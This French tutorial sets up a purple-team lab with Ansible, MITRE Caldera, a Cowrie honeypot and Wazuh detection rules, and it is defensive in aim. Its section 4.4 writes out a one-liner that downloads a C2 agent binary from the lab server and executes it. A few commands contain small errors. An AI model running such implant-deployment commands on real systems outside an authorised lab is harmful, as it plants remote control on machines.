Cyberlab : Purple Team avec MITRE Caldera, Cowrie et Wazuh

Introduction

#

Dans un contexte où la cybersécurité devient chaque jour plus critique, il est primordial de disposer d’un environnement de test permettant de simuler des attaques et d’analyser les comportements des attaquants en temps réel. Ce projet vise à automatiser la mise en place d’un lab de cybersécurité à l’aide d’Ansible, en orchestrant le déploiement et la configuration de plusieurs machines virtuelles (VMs). Grâce à l’intégration de solutions telles que Caldera pour simuler des attaques C2, Cowrie pour agir comme honeypot, et Wazuh pour centraliser et analyser les logs, l’objectif est de créer un écosystème complet permettant d’étudier les tactiques, techniques et procédures (TTPs) des attaquants et de valider la résilience d’une infrastructure.

Architecture et limites de sécurité

#

Le lab distingue quatre fonctions qui ne devraient pas partager le même niveau de confiance : administration, simulation offensive, leurre et observation. Les adresses historiques du projet restent dans un même réseau VMware pour simplifier la reproduction, mais une version durcie utilise des VLANs ou sous-réseaux séparés et un filtrage par défaut.

Deux modes doivent être séparés :

Caldera ne doit donc jamais être accessible depuis Internet et le honeypot ne doit pas avoir de route libre vers le réseau de production. Les flux sortants du leurre sont limités au strict nécessaire pour empêcher qu’une compromission ou un téléchargement capturé ne transforme le lab en point de rebond.

1. Configuration et déploiement de l’environnement

#

Pour ce projet, nous allons configurer un environnement de test avec 4 machines virtuelles (VMs) sous VMware, chacune ayant une mission définie. Commençons par la première :

• VM Cowrie (Honeypot)
  Installée sous Ubuntu 22.04 et assignée à une IP statique (192.168.243.130), cette machine simulera un serveur vulnérable exposé sur SSH/Telnet via l’outil Cowrie. Son rôle est double : Attirer les attaquants en imitant des services sensibles et capturer leurs actions (commandes, téléchargements, etc.) tout en transférant ces logs vers notre SIEM pour analyse.

• VM Caldera (Serveur C2)
  Hébergée sur Ubuntu 22.04 (IP : 192.168.243.131), cette machine exécutera la plateforme Caldera pour orchestrer des attaques réalistes. Grâce à son agent Sandcat, déployé sur les cibles, elle permettra de tester nos défenses en reproduisant des techniques MITRE ATT&CK, telles que l’exfiltration de données ou les mouvements latéraux.

• VM Wazuh (SIEM)
  Sur Ubuntu 22.04 (IP : 192.168.243.132), cette machine centralise les logs. L’architecture Wazuh actuelle repose sur trois composants centraux : le Wazuh server pour l’analyse, le Wazuh indexer pour le stockage et la recherche, et le Wazuh dashboard pour l’investigation et la visualisation. Les références historiques à Elasticsearch et Kibana sont donc remplacées par ces composants.

• VM Ansible (Automatisation)
  Sur Ubuntu 22.04 (IP : 192.168.243.129), contiendra les playbooks Ansible pour déployer et configurer les autres VMs sans intervention manuelle. Par exemple, un playbook pourra installer Cowrie avec ses dépendances, un autre configurera Wazuh avec ses connecteurs, et un troisième déploiera Caldera avec ses profils d’attaques prédéfinis. Cette centralisation réduit les erreurs et accélère les mises à jour.

La VM Cowrie utilise 2 Go de RAM et 20 Go de stockage, la VM Caldera 2 Go et 20 Go, et la VM Ansible 1 Go et 20 Go. Pour un déploiement Wazuh all-in-one actuel, la recommandation de démarrage est plutôt 4 vCPU, 8 Gio de RAM et 50 Go de stockage pour 1 à 25 agents et 90 jours de données indexées. Une allocation de 4 Go peut convenir à une démonstration très contrainte, mais elle risque de rendre l’indexation et le dashboard instables.

L’idée est de créer un écosystème cohérent dans lequel les interactions entre le honeypot, le simulateur d’attaques (Caldera) et le SIEM (Wazuh) permettent de valider la résilience globale de l’infrastructure. L’automatisation via Ansible ajoute une couche de reproductibilité essentielle pour des tests itératifs et garantit la cohérence des configurations.

2. Mise à jour et installation des outils de base

#

2.1. Installation de base (pour toutes les VMs)

#

Pour cette opération, la VM Ansible déploie les configurations sur les trois autres machines.

• Installation d’Ansible (Control Node)

sudo apt update
sudo apt install -y ansible git

• Vérification :

ansible --version

2.2 Configuration de l’Environnement Ansible

#

• Création de la structure de nos dossiers :

mkdir -p ~/ansible-cowrie/{inventory,playbooks}
cd ~/ansible-cowrie

• Création du fichier d’inventaire (inventory.ini) :

---
- name: Configuration de base des machines Ubuntu
  hosts: all
  become: yes

  tasks:

    - name: Mise à jour des paquets
      apt:
        update_cache: yes
        upgrade: dist
        
    - name: Installer les outils de base
      apt:
        name:
          - openssh-server
          - git
          - curl
          - ufw
          - wget
          - htop
          - net-tools
          - software-properties-common
          - python3
          - python3-pip
          - python3-venv
          - bash-completion
        state: present
        
    - name: Activer et démarrer le service SSH
      systemd:
        name: ssh
        enabled: yes
        state: started
        
    - name: Configurer le pare-feu UFW
      ufw:
        state: enabled
        policy: deny
        direction: incoming
        
    - name: Autoriser SSH uniquement depuis le nœud Ansible
      ufw:
        rule: allow
        port: 22
        proto: tcp
        from_ip: 192.168.243.129
        
    - name: Nettoyage du système
      apt:
        autoremove: yes
        autoclean: yes

Pour l’élévation de privilèges, l’option la plus sûre dans ce lab reste de demander le mot de passe become au lancement. Une règle globale NOPASSWD:ALL sur toutes les VMs transformerait la compromission du compte Ansible en accès root immédiat à toute l’infrastructure.

Le secret n’est pas écrit dans l’inventaire ni dans le dépôt. Pour une automatisation non interactive, il peut être placé dans Ansible Vault et chargé uniquement pendant l’exécution. Si une règle sudoers sans mot de passe est réellement nécessaire, elle doit viser un compte dédié et une liste de commandes minimale, puis être validée avec visudo.

Un passage en mode contrôle permet d’évaluer les changements avant de les appliquer :

ansible-playbook -i inventory/hosts.ini playbooks/setup.yml --ask-become-pass --check

On exécute ensuite le playbook setup.yml pour configurer les différentes machines :

ansible-playbook -i inventory/hosts.ini playbooks/setup.yml --ask-become-pass

Le playbook s’est bien déroulé comme on peut le voir, sans aucune erreur, et tout devrait donc être fonctionnel.

3. Installation et configuration des services

#

3.1. VM Cowrie (Honeypot)

#

À ce niveau, nous allons d’abord procéder manuellement pour nous familiariser avec l’outil, avant d’automatiser le déploiement à l’aide d’un playbook Ansible.

3.2. Déploiement manuel

#

a) Installation des dépendances et de Cowrie

#

1. Installation des paquets requis :

sudo apt install -y git python3-pip python3-venv python3-dev libssl-dev libffi-dev build-essential authbind

2. Création d’un compte de service et clonage du dépôt Cowrie :

sudo adduser --disabled-password --gecos "" cowrie
sudo -iu cowrie
git clone https://github.com/cowrie/cowrie.git --branch v3.0.12
cd cowrie

3. Création et activation d’un environnement virtuel :

python3 -m venv cowrie-env
source cowrie-env/bin/activate

4. Mise à jour et installation des dépendances Python:

python -m pip install --upgrade pip
python -m pip install -e .

b) Configuration et démarrage

#

1. Copie et vérification du fichier de configuration :

cp etc/cowrie.cfg.dist etc/cowrie.cfg
nano etc/cowrie.cfg

[ssh]
# Écoute sur le port 2222, toutes interfaces (0.0.0.0)
listen_endpoints = tcp:2222:interface=0.0.0.0

# Port que l'attaquant "voit" (22 pour l'illusion)
guest_ssh_port = 22  #

[output_jsonlog]
enabled = true
logfile = ${honeypot:log_path}/cowrie.json
epoch_timestamp = false

2. Scan de ports nmap et redirection de port

guest_ssh_port est un leurre logiciel présenté au client connecté. Sans redirection, un scan nmap 192.168.243.130 -p 22,2222 observe l’état suivant :

> PORT     STATE  SERVICE
22/tcp   closed ssh      # Port 22 fermé (pas de redirection)
2222/tcp open   ssh      # Cowrie écoute ici, identifié comme SSH

Sans redirection authbind, seul le port 2222 est visible Nmap détecte un service SSH sur ce port. Tandis qu’avec une redirection 22 → 2222 le résultat ressemblera à ça:

PORT     STATE  SERVICE
22/tcp   open   ssh      # Redirection vers Cowrie (2222)
2222/tcp open   ssh      

Correspond donc mieux à notre vision et permettra aux attaquants ciblant le port 22 standard d’être automatiquement dirigés vers le honeypot.

• Étape 1 : Installation de authbind

sudo apt update && sudo apt install -y authbind

• Étape 2 : Configuration de authbind pour le port 22

1. Création du fichier de règle pour le port 22 :

sudo touch /etc/authbind/byport/22

1. Définir les permissions pour l’utilisateur Cowrie :

sudo chown Cowrie:Cowrie /etc/authbind/byport/22
sudo chmod 770 /etc/authbind/byport/22

• Étape 3 : Modification de la configuration de Cowrie

Dans etc/cowrie.cfg, il faudra ajuster la section [ssh] pour écouter directement sur le port 22 :

À cette étape, un test manuel peut être lancé dans le virtualenv avec cowrie start. Un service systemd apporte ensuite le redémarrage automatique, la journalisation et une identité de service stable.

• Étape 4 : Création du fichier de service systemd

1. Création et configuration du fichier:

sudo nano /etc/systemd/system/cowrie.service

Nous utiliserons cette configuration:

[Unit]
Description=Cowrie SSH and Telnet honeypot
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
User=cowrie
Group=cowrie
WorkingDirectory=/home/cowrie/cowrie
ExecStart=/usr/bin/authbind --deep /home/cowrie/cowrie/cowrie-env/bin/cowrie start --nodaemon
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target

2. Rechargement de systemd et démarrage de Cowrie

sudo systemctl daemon-reload 
sudo systemctl start cowrie

3. Activation du démarrage automatique

sudo systemctl enable cowrie

4. Vérification de l’état du service

Le service doit ensuite être vérifié depuis une autre VM avec ss, journalctl et un test de connexion. Si l’écoute reste sur 2222, il faut d’abord vérifier le chemin du fichier de configuration et les droits authbind, plutôt que d’ajouter un second ExecStart au service.

Une alternative consiste à utiliser la méthode des capacités Linux pour permettre à Python de binder sur un port privilégié sans être root. On peut utiliser:

sudo setcap cap_net_bind_service=+ep "$(readlink -f /home/cowrie/cowrie/cowrie-env/bin/python)"

Cette capacité s’applique à l’interpréteur Python ciblé et élargit donc ce qu’il peut faire. Une redirection nftables de 22 vers 2222, ou authbind correctement limité à l’utilisateur cowrie, est généralement plus facile à auditer dans un lab.

Depuis notre VM Caldera on a pu se connecter et confirmer que notre honeypot marche bien:

Cowrie accepte n’importe quel identifiant et mot de passe pour la connexion SSH, car son but est de piéger les attaquants et d’enregistrer leurs tentatives.

3.3. Automatisation du déploiement avec Ansible

#

Notre playbook devra exécuter les tâches ci-après :

• Installer les paquets essentiels
• Cloner le dépôt Git de Cowrie dans le répertoire approprié
• Créer un environnement virtuel dans le dossier de Cowrie
• Installer Cowrie et ses dépendances dans un environnement virtuel dédié
• Copier le fichier de configuration d’exemple pour initialiser la configuration
• Modifier la configuration pour que Cowrie écoute sur le port 22
• Déployer le service systemd pour démarrer automatiquement Cowrie
• Activer et démarrer le service Cowrie

Dans notre dossier de playbooks, nous créons un fichier YAML nommé deploy_cowrie.yml qui contiendra l’ensemble de ces tâches. Voici le contenu complet du playbook :

---
- name: Déployer Cowrie avec authbind
  hosts: cowrie
  become: yes
  vars:
    cowrie_user: cowrie
    cowrie_dir: "/home/{{ cowrie_user }}/cowrie"
    cowrie_env: "{{ cowrie_dir }}/cowrie-env"
    cowrie_version: "v3.0.12"

  tasks:
    - name: Créer l'utilisateur cowrie
      user:
        name: "{{ cowrie_user }}"
        shell: /bin/bash
        home: "/home/{{ cowrie_user }}"
        create_home: yes

    - name: Installer les dépendances
      apt:
        name:
          - git
          - python3-virtualenv
          - python3-dev
          - libssl-dev
          - libffi-dev
          - build-essential
          - authbind
        state: present
        update_cache: yes

    - name: Cloner Cowrie
      git:
        repo: https://github.com/cowrie/cowrie.git
        dest: "{{ cowrie_dir }}"
        version: "{{ cowrie_version }}"

    - name: Créer l'environnement virtuel
      command: "python3 -m venv {{ cowrie_env }}"
      args:
        chdir: "{{ cowrie_dir }}"
        creates: "{{ cowrie_env }}"

    - name: Installer Cowrie en mode éditable dans le virtualenv
      pip:
        name: "{{ cowrie_dir }}"
        editable: true
        virtualenv: "{{ cowrie_env }}"

    - name: Configurer authbind pour le port 22
      file:
        path: /etc/authbind/byport/22
        state: touch
        mode: '0770'
        owner: "{{ cowrie_user }}"
        group: "{{ cowrie_user }}"

    - name: Copier le fichier de configuration cowrie.cfg
      copy:
        src: "{{ cowrie_dir }}/etc/cowrie.cfg.dist"
        dest: "{{ cowrie_dir }}/etc/cowrie.cfg"
        remote_src: yes
      notify: Redémarrer Cowrie

    - name: Modifier le port d'écoute dans cowrie.cfg
      replace:
        path: "{{ cowrie_dir }}/etc/cowrie.cfg"
        regexp: '^#?listen_endpoints = .*'
        replace: 'listen_endpoints = tcp:22:interface=0.0.0.0'
      notify: Redémarrer Cowrie

    - name: Déployer le service systemd pour Cowrie
      copy:
        dest: /etc/systemd/system/cowrie.service
        content: |
          [Unit]
          Description=Cowrie SSH Honeypot
          After=network.target

          [Service]
          User={{ cowrie_user }}
          Group={{ cowrie_user }}
          WorkingDirectory={{ cowrie_dir }}
          ExecStart=/usr/bin/authbind --deep {{ cowrie_env }}/bin/cowrie start --nodaemon
          Restart=always
          RestartSec=5s

          [Install]
          WantedBy=multi-user.target          
      notify: Redémarrer Cowrie

    - name: Activer et démarrer le service Cowrie
      systemd:
        name: cowrie
        state: started
        enabled: yes
        daemon_reload: yes

  handlers:
    - name: Redémarrer Cowrie
      systemd:
        name: cowrie
        state: restarted

On exécute ensuite le playbook avec la commande :

ansible-playbook -i inventory/hosts.ini playbooks/deploy_cowrie.yml --ask-become-pass

Comme on peut le voir toutes les tâches ont été effectuées avec succès.

4. VM Caldera – Déploiement du Serveur C2

#

4.1. Installation de Caldera

#

• Clonage du dépôt et préparation de l’environnement
  La récupération du code source et la préparation de l’environnement Python se font par les commandes suivantes :

git clone https://github.com/mitre/caldera.git --recursive --branch 5.3.0
cd caldera
python3 -m venv env
source env/bin/activate
pip install --upgrade pip
pip install -r requirements.txt

4.2. Compilation du Front-end et Accès à l’interface web

#

La construction des composants VueJS se déclenche avec le lancement du serveur en ajoutant l’option --build (la présence de Node.js et npm est requise) :

python3 server.py --build

• Accès à l’interface
  L’interface web est accessible via l’URL http://localhost:8888 ou via l’adresse IP de la VM Caldera.
  Au premier démarrage, Caldera crée conf/local.yml. Le compte red utilise le mot de passe présent dans ce fichier ; il ne faut pas supposer que la valeur est admin, ni publier le secret dans le rapport.

L’option --insecure charge conf/default.yml et n’est pas recommandée. Les identifiants, clés API, interfaces d’écoute et plugins sont configurés dans conf/local.yml, Caldera étant arrêté. L’interface doit rester limitée à la zone d’administration et être protégée par TLS ou par un reverse proxy dans un environnement durable.

4.3. Intégration de plugins

#

Les messages du serveur indiquent l’activation de plugins tels que Sandcat, Atomic et Manx. Dans cette installation, le clonage automatisé d’Atomic Red Team a échoué ; le dépôt a donc été récupéré manuellement.

mkdir -p plugins/atomic/data
git clone https://github.com/redcanaryco/atomic-red-team.git plugins/atomic/data/atomic-red-team

Atomic Red Team est une bibliothèque open source de tests de sécurité mappés au framework MITRE ATT&CK, permettant aux équipes de sécurité de simuler des techniques d’attaque pour évaluer et améliorer leurs défenses.

4.4. Déploiement de l’agent Caldera sur la VM Cowrie

#

Dans la section CAMPAIGNS>agents cliquer sur Deploy an agent puis renseigner les informations nécessaires comme suit:

Dans ce lab Purple Team, le nom de l’agent reste explicite afin de faciliter la corrélation. L’objectif est de mesurer la détection, pas de dissimuler l’implant à l’équipe qui administre l’environnement.

1. Génération et exécution de la commande de déploiement de l’agent:

  server="http://192.168.243.131:8888";curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > caldera;chmod +x caldera;./caldera -server $server -group red -v

• Le processus de déploiement est ainsi achevé et l’agent Caldera a pu établir une connexion comme l’indique l’apparition de notre cible dans la section agents du dashboard avec le statut Alive,trusted:

1. Simulation d’attaques et exécution de commandes distantes:

Pour cette étape nous allons dans la section CAMPAIGNS > operations puis sélectionner l’option New Operation.

Caldera permet d’exécuter des capacités unitaires ou des profils d’adversaire composés de plusieurs techniques. Dans ce lab, seules les capacités explicitement autorisées et comprises sont activées ; les fonctions de mouvement latéral, d’évasion ou d’exfiltration restent hors périmètre tant que les contrôles d’arrêt et de confinement ne sont pas validés.

Le profil Discovery fournit un premier scénario limité et observable :

Comme on peut le voir sur la sortie tout fonctionne correctement, et il ne nous reste qu’à configurer le monitoring et l’agrégation des logs avec notre SIEM.

5. VM Wazuh – Déploiement du SIEM

#

5.1. Installation

#

• Utilisation du script d’installation
  La méthode recommandée pour installer l’ensemble des composants (Wazuh Server, Indexer et Dashboard) consiste à utiliser le script officiel en mode « all-in-one ».
  La commande suivante (exécutée sur notre VM Wazuh, IP 192.168.243.132) télécharge et lance le script :

curl -sO https://packages.wazuh.com/4.14/wazuh-install.sh
sudo bash ./wazuh-install.sh -a

La branche de téléchargement doit être comparée à la version courante de la documentation avant une nouvelle installation. L’exemple ci-dessus correspond à la branche 4.14 utilisée lors de la mise à jour de cet article.

• Accès au dashboard avec nos identifiants:

INFO: You can access the web interface 
https://<Wazuh-dashboard-ip>:443
User: admin
Password: <MOT_DE_PASSE_GÉNÉRÉ_ET_CONSERVÉ_HORS_DU_RAPPORT>
INFO: Installation finished.

Le mot de passe généré ne doit pas être publié, même pour un lab. Il est stocké dans un coffre de secrets, remplacé s’il a été exposé et limité à la seule interface d’administration.

5.2 Installation de l’Agent Wazuh sur la VM Cowrie

#

Dans la section Agents management > Summary, après avoir cliqué sur Deploy new agent, on renseigne la plateforme de la VM Cowrie et l’adresse du Wazuh server (192.168.243.132). L’adresse 192.168.243.130 désigne la VM Cowrie elle-même.

• Sur notre VM Cowrie on colle, puis exécute la commande et on obtient un résultat similaire à celui ci-dessous:

• Activation et démarrage du service wazuh-agent

sudo systemctl daemon-reload
sudo systemctl enable --now wazuh-agent

• Le processus de déploiement est maintenant terminé et l’agent Wazuh fonctionne avec succès sur votre système Linux et comme le montre la capture de la section endpoints-summary.

La documentation officielle recommande de désactiver les mises à jour de Wazuh étant donné que la compatibilité entre l’agent Wazuh et le gestionnaire de Wazuh n’est garantie que lorsque la version Wazuh Manager est supérieur ou égale à celle de l’agent Wazuh et donc d’éviter les mises à niveau accidentelles en utilisant la commande:

sudo sed -i “s/^deb /#deb /” /etc/apt/sources.list.d/wazuh.list sudo apt update

**NB:** Pour de futurs mises à jour il nous suffira de dé-commenter cette ligne dans le fichier /etc/apt/sources.list.

5.3 Configuration du monitoring des logs Cowrie

#

Un Groupe nommé cowrie a été créé et assigné à l’agent via le dashboard, en y intégrant la configuration suivante dans le fichier agent.conf:

<agent_config>
  <localfile>
    <log_format>json</log_format>
    <location>/home/cowrie/cowrie/var/log/cowrie/cowrie.json</location>
  </localfile>
</agent_config>

Cette configuration permet de diriger l’analyse des logs vers le fichier cowrie.json. Comme le montre la capture de la rubrique log data analysis de la section Agents Management > Summary, le chemin est correctement renseigné.

À cette étape, aucune alerte n’apparaît encore dans le SIEM, car les règles d’alerte spécifiques n’ont pas encore été définies.

5.4. Définition des Règles d’Alerte Personnalisées

#

Les logs JSON de Cowrie possèdent un champ eventid. Il est préférable de tester ce champ décodé plutôt que de rechercher une chaîne dans le log complet. Les règles suivantes sont ajoutées dans un fichier personnalisé de /var/ossec/etc/rules/ ou, pour un petit nombre de règles, dans local_rules.xml :

<group name="cowrie">
  <!-- Règle pour détecter le début d'une session sur Cowrie -->
  <rule id="100010" level="3">
    <decoded_as>json</decoded_as>
    <field name="eventid" type="pcre2">^cowrie\.session\.connect$</field>
    <description>Session démarrée sur le honeypot Cowrie</description>
    <group>cowrie,session</group>
  </rule>

  <!-- Règle pour détecter une commande saisie sur Cowrie -->
  <rule id="100011" level="5">
    <decoded_as>json</decoded_as>
    <field name="eventid" type="pcre2">^cowrie\.command\.input$</field>
    <description>Commande saisie sur le honeypot Cowrie</description>
    <group>cowrie,command</group>
  </rule>

  <!-- Règle pour détecter une commande échouée sur Cowrie -->
  <rule id="100012" level="7">
    <decoded_as>json</decoded_as>
    <field name="eventid" type="pcre2">^cowrie\.command\.failed$</field>
    <description>Commande échouée sur le honeypot Cowrie</description>
    <group>cowrie,command</group>
  </rule>

  <!-- Règle pour détecter la fermeture d'une session sur Cowrie -->
  <rule id="100013" level="4">
    <decoded_as>json</decoded_as>
    <field name="eventid" type="pcre2">^cowrie\.session\.closed$</field>
    <description>Session fermée sur le honeypot Cowrie</description>
    <group>cowrie,session</group>
  </rule>
</group>

Chaque règle est validée avec un événement réel copié depuis cowrie.json :

sudo /var/ossec/bin/wazuh-logtest
sudo systemctl restart wazuh-manager

wazuh-logtest doit confirmer le décodage JSON, la présence du champ eventid et l’identifiant de règle attendu avant le redémarrage. Cette étape évite de confondre l’absence d’alerte avec un problème d’agent, de chemin de fichier ou de règle.

5.5. Test de la Configuration et Simulation d’Attaques

#

Depuis une VM de simulation, on initie une connexion SSH vers le honeypot. Des commandes inoffensives du profil Discovery, par exemple whoami, ls -alh | tail -n 5 > ~/bin-list.txt et ps aux | grep system, sont exécutées avant la fermeture de session. Ces interactions génèrent des entrées dans cowrie.json.

De retour dans la section Discover du SIEM, on peut bel et bien constater l’apparition des alertes relatives aux opérations sur le honeypot selon les règles définies.

5.6 Analyse des logs

#

L’adresse 192.168.243.130 est celle du honeypot, pas celle de la VM Ansible. Pour une connexion lancée depuis Ansible, le champ source attendu est 192.168.243.129. Il faut distinguer trois informations : agent.name identifie l’endpoint qui collecte le fichier, location indique /home/cowrie/cowrie/var/log/cowrie/cowrie.json, et data.src_ip représente l’origine observée par Cowrie. Les champs rule.description, data.input, data.eventid et timestamp permettent ensuite de reconstruire la session et de relier l’action au test autorisé.

Ici, l’adresse source 192.168.243.129 correspond bien à la connexion initiée depuis la VM Ansible.

5.7. Analyse Approfondie et Visualisation

#

Une fois les alertes générées, des étapes supplémentaires peuvent nous permettre d’isoler et d’analyser les logs liés au honeypot :

1. Isolation des Logs du Honeypot :

   Pour concentrer l’analyse sur l’activité capturée par Cowrie, nous utilisons les filtres du Wazuh dashboard, dont l’interface de recherche s’appuie sur le Wazuh indexer :

• Filtre par agent : agent.name : "cowrie-vm" pour isoler les événements du honeypot.

• Filtre par tag : rule.groups : "cowrie" pour cibler les règles personnalisées dédiées.

Cette isolation permet de se concentrer sur les données pertinentes et d’éviter le bruit généré par d’autres sources.

Pour optimiser l’analyse, le résultat de cette recherche est sauvegardé (sous le nom honey-pots-log) afin de générer une visualisation spécifique aux événements de notre honeypot.

2. Création de Visualisations Personnalisées :

   Nos visualisations regrouperont les indicateurs clés (nombre de sessions, commandes exécutées, taux d’échec, etc.) avec des graphiques.

Ces graphiques donnent un aperçu global de l’activité sur le honeypot. Une distribution seule ne suffit toutefois pas à qualifier un incident : elle doit être reliée à la chronologie, à l’adresse source, à la commande et au scénario de test.

Pie chart (diagramme circulaire)

#

Un Pie Chart permet de visualiser la répartition proportionnelle des données. Dans notre cas, il met en évidence les types d’alertes les plus fréquents et la distribution des commandes suspectes sur le honeypot.

Top 10 des alertes globales (source : wazuh-metrics-)*

Principales alertes du honeypot (source : honey-pots-log)

Configuration de la visualisation avec la vue sauvegardée

Métriques (indicateurs clés)

#

Une visualisation de type métrique offre un aperçu synthétique d’une ou plusieurs valeurs clés, telles que le nombre total d’alertes, la criticité moyenne ou le taux d’échec global.

Ce type de représentation est particulièrement utile pour surveiller l’état général du système, car il permet de visualiser rapidement des indicateurs critiques

6. Dashboard

#

Le dashboard final intègre l’ensemble des visualisations créées :

1. Le Top 10 des alertes globales : Détecte les tendances à l’échelle de l’infrastructure.

2. Les principales alertes du honeypot : Identifie les attaques spécifiques à Cowrie.

3. Un aperçu général des alertes : Offre une synthèse chiffrée des événements.

Cette interface synthétique facilite la surveillance du lab : elle met en évidence les pics d’activité, corrèle les actions simulées avec les événements du honeypot et fournit une base mesurable pour ajuster les règles Wazuh.

7. Validation de bout en bout

#

Un dashboard n’est pas une preuve suffisante. La réussite du lab se mesure avec une matrice qui relie action, télémétrie et décision :

Trois indicateurs rendent la comparaison entre itérations utile :

• complétude : proportion des étapes Caldera retrouvées dans la télémétrie ;
• latence : délai entre l’action sur Cowrie et l’alerte consultable ;
• précision : alertes déclenchées par le scénario attendu plutôt que par du bruit de fond.

Une modification de règle n’est conservée que si elle améliore au moins un de ces indicateurs sans dégrader fortement les autres. Le résultat devient ainsi un exercice d’ingénierie de détection reproductible, et pas seulement une démonstration d’outils.

Conclusion

#

L’objectif principal était de créer un environnement de test complet permettant de simuler des attaques, de collecter des logs et de les analyser en temps réel pour mieux comprendre le comportement des attaquants.

La configuration de Cowrie a permis de capturer des interactions variées sur le honeypot, telles que l’ouverture et la fermeture de sessions, l’exécution de commandes et les tentatives d’attaques échouées. Parallèlement, Caldera a été utilisé pour orchestrer divers profils d’attaque (Discovery, Lateral Movement, etc.), offrant ainsi une dimension offensive à l’environnement de test. L’intégration des logs via Wazuh a fourni une visibilité centralisée sur l’activité des agents, permettant d’extraire des informations critiques et de générer des alertes basées sur des règles personnalisées.

Les résultats obtenus illustrent l’efficacité d’une approche « défense en profondeur » : en combinant la détection proactive avec l’analyse centralisée, il est possible de détecter et d’analyser rapidement les comportements suspects, tout en obtenant des données exploitables pour renforcer la sécurité globale. Cette approche offre ainsi un cadre solide pour la surveillance continue et l’amélioration des défenses face à des menaces de plus en plus sophistiquées.

Références

#

• Ansible, guide des playbooks : https://docs.ansible.com/ansible/latest/playbook_guide/
• Cowrie, documentation : https://cowrie.readthedocs.io/
• Cowrie, dépôt officiel : https://github.com/cowrie/cowrie
• Cowrie, versions publiées : https://github.com/cowrie/cowrie/releases
• MITRE Caldera, installation : https://caldera.readthedocs.io/en/5.3.0/Installing-Caldera.html
• MITRE Caldera, configuration du serveur : https://caldera.readthedocs.io/en/latest/Server-Configuration.html
• Wazuh, architecture : https://documentation.wazuh.com/current/getting-started/architecture.html
• Wazuh, quickstart et dimensionnement : https://documentation.wazuh.com/current/quickstart.html
• Wazuh, règles personnalisées : https://documentation.wazuh.com/current/user-manual/ruleset/rules/custom.html
• Wazuh, décodeur JSON : https://documentation.wazuh.com/current/user-manual/ruleset/decoders/json-decoder.html
• MITRE ATT&CK : https://attack.mitre.org/
• Atomic Red Team : https://github.com/redcanaryco/atomic-red-team